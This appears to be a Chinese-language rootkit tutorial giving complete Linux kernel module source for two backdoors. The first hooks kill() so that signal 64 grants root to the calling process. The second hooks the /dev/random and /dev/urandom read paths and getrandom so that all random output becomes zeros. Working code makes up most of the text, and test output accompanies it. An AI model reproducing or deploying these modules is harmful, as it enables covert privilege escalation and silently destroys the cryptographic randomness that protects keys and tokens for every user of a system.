Root后门

Linux信号机制

Linux信号是进程间通信的一种方式,用于通知进程发生了某种事件或异常,其是异步的,可以由内核、其他进程或进程自身触发

比如kill -9 $PID强制杀死进程,其中9定义为SIGKILL,可以在signal.h查看

在64位中64号默认无特殊用途,需手动注册和处理,也许我们可以借助这个信号来埋藏一个后门

因此接下来的这个钩子的思路显而易见,即检查是否信号SIG = 64,否则就还是本身的系统调用sys_kill

1
int kill(pid_t pid, int sig);

image-20250714135706195

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
asmlinkage int hook_kill(const struct pt_regs *regs)
{
void set_root(void);

// pid_t pid = regs->di;
int sig = regs->si;

if ( sig == 64 )
{
printk(KERN_INFO "rootkit: giving root...\n");
set_root();
return 0;
}

return orig_kill(regs);

}

可以看到这里没有使用PID进程号,这是因为我们的set_root()函数调用前提只需要SIG,提升的是当前调用进程的权限,并不是目标PID进程的权限,因此这里我们并不关心PID具体是多少

再来跟进set_root()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void set_root(void)
{
/* prepare_creds returns the current credentials of the process */
struct cred *root;
root = prepare_creds();

if (root == NULL)
return;

/* Run through and set all the various *id's to 0 (root) */
root->uid.val = root->gid.val = 0;
root->euid.val = root->egid.val = 0;
root->suid.val = root->sgid.val = 0;
root->fsuid.val = root->fsgid.val = 0;

/* Set the cred struct that we've modified to that of the calling process */
commit_creds(root);
}

这里通过prepare_creds()获取当前进程的凭证结构副本,并将所有用户ID和组ID设置为0,最后commit_creds()将修改后的凭证应用到当前进程

文档指出了更改规则

As previously mentioned, a task may only alter its own credentials, and may not alter those of another task. This means that it doesn’t need to use any locking to alter its own credentials.
如前所述,一个任务只能更改其自身的凭证,而不能更改其他任务的凭证。这意味着它不需要使用任何锁定来更改其自身的凭证。

cred 结构体的布局

image-20250714142000053

kuid_tkgid_t依旧是个结构体

image-20250714142053662

uid_tgid_t最终定义为u16,为了提升到root,我们赋值0即可

完整Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <linux/kallsyms.h>
#include <linux/version.h>

#include "ftrace_helper.h"

MODULE_LICENSE("GPL");
MODULE_AUTHOR("TheXcellerator");
MODULE_DESCRIPTION("Giving root privileges to a process");
MODULE_VERSION("0.02");

/* After Kernel 4.17.0, the way that syscalls are handled changed
* to use the pt_regs struct instead of the more familiar function
* prototype declaration. We have to check for this, and set a
* variable for later on */
#if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0))
#define PTREGS_SYSCALL_STUBS 1
#endif

/* We now have to check for the PTREGS_SYSCALL_STUBS flag and
* declare the orig_kill and hook_kill functions differently
* depending on the kernel version. This is the largest barrier to
* getting the rootkit to work on earlier kernel versions. The
* more modern way is to use the pt_regs struct. */
#ifdef PTREGS_SYSCALL_STUBS
static asmlinkage long (*orig_kill)(const struct pt_regs *);

/* We can only modify our own privileges, and not that of another
* process. Just have to wait for signal 64 (normally unused)
* and then call the set_root() function. */
asmlinkage int hook_kill(const struct pt_regs *regs)
{
void set_root(void);

// pid_t pid = regs->di;
int sig = regs->si;

if ( sig == 64 )
{
printk(KERN_INFO "rootkit: giving root...\n");
set_root();
return 0;
}

return orig_kill(regs);

}
#else
/* This is the old way of declaring a syscall hook */
static asmlinkage long (*orig_kill)(pid_t pid, int sig);

static asmlinkage int hook_kill(pid_t pid, int sig)
{
void set_root(void);

if ( sig == 64 )
{
printk(KERN_INFO "rootkit: giving root...\n");
set_root();
return 0;
}

return orig_kill(pid, sig);
}
#endif

/* Whatever calls this function will have it's creds struct replaced
* with root's */
void set_root(void)
{
/* prepare_creds returns the current credentials of the process */
struct cred *root;
root = prepare_creds();

if (root == NULL)
return;

/* Run through and set all the various *id's to 0 (root) */
root->uid.val = root->gid.val = 0;
root->euid.val = root->egid.val = 0;
root->suid.val = root->sgid.val = 0;
root->fsuid.val = root->fsgid.val = 0;

/* Set the cred struct that we've modified to that of the calling process */
commit_creds(root);
}

/* Declare the struct that ftrace needs to hook the syscall */
static struct ftrace_hook hooks[] = {
HOOK("sys_kill", hook_kill, &orig_kill),
};

/* Module initialization function */
static int __init rootkit_init(void)
{
/* Hook the syscall and print to the kernel buffer */
int err;
err = fh_install_hooks(hooks, ARRAY_SIZE(hooks));
if(err)
return err;

printk(KERN_INFO "rootkit: Loaded >:-)\n");

return 0;
}

static void __exit rootkit_exit(void)
{
/* Unhook and restore the syscall and print to the kernel buffer */
fh_remove_hooks(hooks, ARRAY_SIZE(hooks));
printk(KERN_INFO "rootkit: Unloaded :-(\n");
}

module_init(rootkit_init);
module_exit(rootkit_exit);

image-20250714104026528

image-20250714104107063

基于伪随机生成器的后门

我们前面说到除了钩住系统调用,还可以去钩其它的对我们有用的非系统调用的内核函数,当时我看到这一段我也暂时想不出除了系统调用还能有什么函数对我们入侵有益

先说结果,这一部分我们钩的是random()函数,使其变得伪随机性;我们都知道一些加密都是会根据随机序列然后进一步去加密,显然无法获取任何随机字节会严重损害系统的加密安全性(例如token变得不再随机)

虽然说其利用率可能不那么大,但我觉得这种思路还是非常新奇,也让我感受到Rootkit的独特魅力

Linux字符设备

Linux有三大驱动:字符设备、块设备、网络设备

其中字符设备是一种按字节流顺序访问的硬件或虚拟设备,与块设备(如磁盘,按固定大小的块访问)形成对比;字符设备通常用于无需缓冲、直接读写的场景,例如键盘、鼠标、串口、音频设备等

这里说也许会有些抽象,我们来具体查看/dev/目录下

image-20250714155106190

设备文件 说明
/dev/tty 当前终端
/dev/null 丢弃所有写入的数据
/dev/zero 提供无限的空字节(\0
/dev/random 真随机数生成器
/dev/input/mice 鼠标输入
/dev/fb0 帧缓冲(图形显示)

总而言之就是为交互式设备提供字节流访问

回到/dev/random/dev/urandom,其区别如下:

/dev/random:基于环境噪声(如硬件中断、键盘输入等)生成随机数;当熵池(随机性来源)耗尽时,会阻塞(暂停)直到收集到足够的熵,因此速度较慢

/dev/urandom:同样基于熵池,但在熵不足时会使用伪随机数算法继续生成数据,不会阻塞;速度更快,适合大多数常规用途(如随机数模拟)

因此,从安全性来讲random是更好的选择

当我们尝试读取字符设备时,每个字符设备都有一个file_operations 结构体,其中包含.read.write 字段来进行读写操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
const struct file_operations random_fops = {
.read = random_read,
.write = random_write,
.poll = random_poll,
.unlocked_ioctl = random_ioctl,
.compat_ioctl = compat_ptr_ioctl,
.fasync = random_fasync,
.llseek = noop_llseek,
};

const struct file_operations urandom_fops = {
.read = urandom_read,
.write = random_write,
.unlocked_ioctl = random_ioctl,
.compat_ioctl = compat_ptr_ioctl,
.fasync = random_fasync,
.llseek = noop_llseek,
};

我们继续跟进

1
2
3
4
5
6
7
8
9
random_read(struct file *file, char __user *buf, size_t nbytes, loff_t *ppos)
{
int ret;

ret = wait_for_random_bytes();
if (ret != 0)
return ret;
return urandom_read_nowarn(file, buf, nbytes, ppos);
}

其原理跟上述相同,而这个函数就是我们Rookit所模拟的

为了说明完整调用过程,这里引用一条读取随机字符的命令

1
dd if=/dev/random bs=1 count=32 | xxd

dd在用户态空间会先使用sys_open去打开/dev/random,这里会分配一个文件描述符fd,接着会调用read()触发 sys_read 系统调用;

内核通过 fd 找到对应的 file 结构体,这里就调用了random_fops.read。⚠有一点需要注意的是,sys_read返回的只是读取随机字符的长度,具体数据是存储到buf缓冲区当中(内核不能直接访问用户空间内存,需要通过copy_to_user() 安全拷贝数据)

Xcellerator暗示到更简便的方法是直接在file_operations.read做操作,并不需要去挂钩前面所提及的那么多系统调用来达成拦截读取操作的目的

Rootkit编写

首先我们需要在当前内核找到实际函数名称,因为其不像系统调用那样在系统调用表

1
sudo cat /proc/kallsyms | grep random_read

image-20250714174036975

在hook数组中更改

1
2
3
4
5
6
7
8
9
10
11
12
static struct ftrace_hook hooks[] = {
{
.name = "random_read_iter",
.function = hook_random_read,
.original = &orig_random_read,
},
{
.name = "urandom_read_iter",
.function = hook_urandom_read,
.original = &orig_urandom_read,
},
};

⚠需要注意的是,这里我们不是系统调用,所以不需要使用SYSCALL_NAME 宏,也就不需要加上__x64_前缀(详见Xcellerator的文章,同时我在上一篇文章中发现这个问题并做了更改)

还有一点是我自己的系统上是random_read_iter,因此在实现钩子时会不太一样,这里要根据具体情况来实现

核心逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static asmlinkage ssize_t hook_random_read(struct kiocb *iocb, struct iov_iter *to)
{
ssize_t bytes_read, i;
size_t count;
char *kbuf = NULL;

bytes_read = orig_random_read(iocb, to);
printk(KERN_DEBUG "rootkit: intercepted read to /dev/random: %ld bytes\n", bytes_read);

if (bytes_read <= 0)
return bytes_read;

count = bytes_read;

kbuf = kzalloc(count, GFP_KERNEL);
if (!kbuf)
return bytes_read;

for (i = 0; i < count; i++)
kbuf[i] = 0x00;

iov_iter_revert(to, bytes_read);
if (copy_to_iter(kbuf, count, to) != count)
printk(KERN_DEBUG "rootkit: failed to copy rigged data to iterator\n");

kfree(kbuf);
return bytes_read;
}

先调用真正的 orig_random_read 函数获取随机数据,然后将用户空间的数据拷贝到内核缓冲区,并将所有随机字节替换为 0x00,最后将篡改后的数据拷贝回用户空间

完整Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <linux/kallsyms.h>
#include <linux/uio.h>
#include <linux/fs.h>

#include "ftrace_helper.h"

MODULE_LICENSE("GPL");
MODULE_AUTHOR("TheXcellerator");
MODULE_DESCRIPTION("Interfering with char devices");
MODULE_VERSION("0.01");

/* Function pointer declarations for the real random_read_iter() and urandom_read_iter() */
static asmlinkage ssize_t (*orig_random_read)(struct kiocb *iocb, struct iov_iter *to);
static asmlinkage ssize_t (*orig_urandom_read)(struct kiocb *iocb, struct iov_iter *to);

/* Hook functions for random_read_iter() and urandom_read_iter() */
static asmlinkage ssize_t hook_random_read(struct kiocb *iocb, struct iov_iter *to)
{
ssize_t bytes_read, i;
size_t count;
char *kbuf = NULL;

/* Call the real random_read_iter() file operation to set up all the structures */
bytes_read = orig_random_read(iocb, to);
printk(KERN_DEBUG "rootkit: intercepted read to /dev/random: %ld bytes\n", bytes_read);

if (bytes_read <= 0)
return bytes_read;

count = bytes_read;

/* Allocate a kernel buffer that we will fill with zeros */
kbuf = kzalloc(count, GFP_KERNEL);
if (!kbuf)
return bytes_read;

/* Fill kbuf with 0x00 */
for (i = 0; i < count; i++)
kbuf[i] = 0x00;

/* Reset the iterator and copy our rigged data */
iov_iter_revert(to, bytes_read);
if (copy_to_iter(kbuf, count, to) != count)
printk(KERN_DEBUG "rootkit: failed to copy rigged data to iterator\n");

kfree(kbuf);
return bytes_read;
}

static asmlinkage ssize_t hook_urandom_read(struct kiocb *iocb, struct iov_iter *to)
{
ssize_t bytes_read, i;
size_t count;
char *kbuf = NULL;

/* Call the real urandom_read_iter() file operation to set up all the structures */
bytes_read = orig_urandom_read(iocb, to);
printk(KERN_DEBUG "rootkit: intercepted call to /dev/urandom: %ld bytes\n", bytes_read);

if (bytes_read <= 0)
return bytes_read;

count = bytes_read;

/* Allocate a kernel buffer that we will fill with zeros */
kbuf = kzalloc(count, GFP_KERNEL);
if (!kbuf)
return bytes_read;

/* Fill kbuf with 0x00 */
for (i = 0; i < count; i++)
kbuf[i] = 0x00;

/* Reset the iterator and copy our rigged data */
iov_iter_revert(to, bytes_read);
if (copy_to_iter(kbuf, count, to) != count)
printk(KERN_DEBUG "rootkit: failed to copy rigged data to iterator\n");

kfree(kbuf);
return bytes_read;
}

/* We are going to use the fh_install_hooks() function from ftrace_helper.h
* in the module initialization function. This function takes an array of
* ftrace_hook structs, so we initialize it with what we want to hook
* */
static struct ftrace_hook hooks[] = {
{
.name = "random_read_iter",
.function = hook_random_read,
.original = &orig_random_read,
},
{
.name = "urandom_read_iter",
.function = hook_urandom_read,
.original = &orig_urandom_read,
},
};

/* Module initialization function */
static int __init rootkit_init(void)
{
/* Simply call fh_install_hooks() with hooks (defined above) */
int err;
err = fh_install_hooks(hooks, ARRAY_SIZE(hooks));
if(err)
return err;

printk(KERN_INFO "rootkit: Loaded >:-)\n");

return 0;
}

static void __exit rootkit_exit(void)
{
/* Simply call fh_remove_hooks() with hooks (defined above) */
fh_remove_hooks(hooks, ARRAY_SIZE(hooks));
printk(KERN_INFO "rootkit: Unloaded :-(\n");
}

module_init(rootkit_init);
module_exit(rootkit_exit);
1
dd if=/dev/random bs=1 count=32 | xxd

image-20250714172655103

重新加载后

image-20250714205726323

正如我们一开始所说,一些用户态空间的程序在加密时一定会用到字符设备,系统默认使用/dev/urandom,假设有脚本如下

1
2
3
4
5
#!/usr/bin/python
import random

numbers = [random.randint(1, 100) for _ in range(10)]
print("Random numbers:", numbers)

image-20250715092810178

⚠依旧需要注意的是,Python的 os.urandom() 在Linux内核3.17及以上版本中使用 getrandom 系统调用来获取随机数,而不是直接读取 /dev/urandom/dev/random 设备文件

image-20250715094506746

但也并不意味着我们上面的分析多此一举了,毕竟这是一个入门的过程。那既然如此,我们就可以直接劫持这该死的sys_getrandom,我添加了hook_getrandom,并调整了hook数组

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <linux/kallsyms.h>
#include <linux/uio.h>
#include <linux/fs.h>

#include "ftrace_helper.h"

MODULE_LICENSE("GPL");
MODULE_AUTHOR("TheXcellerator");
MODULE_DESCRIPTION("Interfering with char devices");
MODULE_VERSION("0.01");

/* Function pointer declarations for the real random_read_iter() and urandom_read_iter() */
static asmlinkage ssize_t (*orig_random_read)(struct kiocb *iocb, struct iov_iter *to);
static asmlinkage ssize_t (*orig_urandom_read)(struct kiocb *iocb, struct iov_iter *to);
static asmlinkage long (*orig_getrandom)(const struct pt_regs *);

static asmlinkage long hook_getrandom(const struct pt_regs *regs) {
void __user *buf = (void __user *)regs->di;
size_t count = regs->si;
unsigned int flags = regs->dx;

// Call original if needed, but for our purpose, fill with zeros
char *kbuf = kzalloc(count, GFP_KERNEL);
if (!kbuf) return -ENOMEM;

if (copy_to_user(buf, kbuf, count)) {
kfree(kbuf);
return -EFAULT;
}

kfree(kbuf);
return count;
}

/* Hook functions for random_read_iter() and urandom_read_iter() */
static asmlinkage ssize_t hook_random_read(struct kiocb *iocb, struct iov_iter *to)
{
ssize_t bytes_read, i;
size_t count;
char *kbuf = NULL;

/* Call the real random_read_iter() file operation to set up all the structures */
bytes_read = orig_random_read(iocb, to);
printk(KERN_DEBUG "rootkit: intercepted read to /dev/random: %ld bytes\n", bytes_read);

if (bytes_read <= 0)
return bytes_read;

count = bytes_read;

/* Allocate a kernel buffer that we will fill with zeros */
kbuf = kzalloc(count, GFP_KERNEL);
if (!kbuf)
return bytes_read;

/* Fill kbuf with 0x00 */
for (i = 0; i < count; i++)
kbuf[i] = 0x00;

/* Reset the iterator and copy our rigged data */
iov_iter_revert(to, bytes_read);
if (copy_to_iter(kbuf, count, to) != count)
printk(KERN_DEBUG "rootkit: failed to copy rigged data to iterator\n");

kfree(kbuf);
return bytes_read;
}

static asmlinkage ssize_t hook_urandom_read(struct kiocb *iocb, struct iov_iter *to)
{
ssize_t bytes_read, i;
size_t count;
char *kbuf = NULL;

/* Call the real urandom_read_iter() file operation to set up all the structures */
bytes_read = orig_urandom_read(iocb, to);
printk(KERN_DEBUG "rootkit: intercepted call to /dev/urandom: %ld bytes\n", bytes_read);

if (bytes_read <= 0)
return bytes_read;

count = bytes_read;

/* Allocate a kernel buffer that we will fill with zeros */
kbuf = kzalloc(count, GFP_KERNEL);
if (!kbuf)
return bytes_read;

/* Fill kbuf with 0x00 */
for (i = 0; i < count; i++)
kbuf[i] = 0x00;

/* Reset the iterator and copy our rigged data */
iov_iter_revert(to, bytes_read);
if (copy_to_iter(kbuf, count, to) != count)
printk(KERN_DEBUG "rootkit: failed to copy rigged data to iterator\n");

kfree(kbuf);
return bytes_read;
}

/* We are going to use the fh_install_hooks() function from ftrace_helper.h
* in the module initialization function. This function takes an array of
* ftrace_hook structs, so we initialize it with what we want to hook
* */
static struct ftrace_hook hooks[] = {
{
.name = "random_read_iter",
.function = hook_random_read,
.original = &orig_random_read,
},
{
.name = "urandom_read_iter",
.function = hook_urandom_read,
.original = &orig_urandom_read,
},
{
.name = "__x64_sys_getrandom",
.function = hook_getrandom,
.original = &orig_getrandom,
},
};

/* Module initialization function */
static int __init rootkit_init(void)
{
/* Simply call fh_install_hooks() with hooks (defined above) */
int err;
err = fh_install_hooks(hooks, ARRAY_SIZE(hooks));
if(err)
return err;

printk(KERN_INFO "rootkit: Loaded >:-)\n");

return 0;
}

static void __exit rootkit_exit(void)
{
/* Simply call fh_remove_hooks() with hooks (defined above) */
fh_remove_hooks(hooks, ARRAY_SIZE(hooks));
printk(KERN_INFO "rootkit: Unloaded :-(\n");
}

module_init(rootkit_init);
module_exit(rootkit_exit);

加载后

image-20250715094253236

现在你可以看到,这完全是一个伪随机了